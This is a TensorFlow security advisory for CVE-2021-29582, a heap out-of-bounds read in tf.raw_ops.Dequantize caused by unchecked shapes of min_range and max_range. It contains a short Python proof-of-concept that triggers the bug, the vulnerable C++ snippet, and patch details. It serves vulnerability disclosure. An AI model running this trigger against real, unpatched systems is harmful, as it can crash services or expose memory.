## TFSA-2021-070: Heap OOB read in `tf.raw_ops.Dequantize`

### CVE Number
CVE-2021-29582

### Impact
Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can
trigger a read from outside of bounds of heap allocated data:

```python
import tensorflow as tf

input_tensor=tf.constant(
    [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)
input_tensor=tf.cast(input_tensor, dtype=tf.quint8)
min_range = tf.constant([-10], shape=[1], dtype=tf.float32)
max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)

tf.raw_ops.Dequantize(
    input=input_tensor,
    min_range=min_range,
    max_range=max_range,
    mode='SCALED',
    narrow_range=True,
    axis=0,
    dtype=tf.dtypes.float32)
```

The
[implementation](https://github.com/tensorflow/tensorflow/blob/26003593aa94b1742f34dc22ce88a1e17776a67d/tensorflow/core/kernels/dequantize_op.cc#L106-L131)
accesses the `min_range` and `max_range` tensors in parallel but fails to check
that they have the same shape:

```cc
if (num_slices == 1) {
  const float min_range = input_min_tensor.flat<float>()(0);
  const float max_range = input_max_tensor.flat<float>()(0);
  DequantizeTensor(ctx, input, min_range, max_range, &float_output);
} else {
  ...
  auto min_ranges = input_min_tensor.vec<float>();
  auto max_ranges = input_max_tensor.vec<float>();
  for (int i = 0; i < num_slices; ++i) {
    DequantizeSlice(ctx->eigen_device<Device>(), ctx,
                    input_tensor.template chip<1>(i), min_ranges(i),
                    max_ranges(i), output_tensor.template chip<1>(i));
    ...
  }
}
```

### Patches
We have patched the issue in GitHub commit
[5899741d0421391ca878da47907b1452f06aaf1b](https://github.com/tensorflow/tensorflow/commit/5899741d0421391ca878da47907b1452f06aaf1b).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
X-Team.
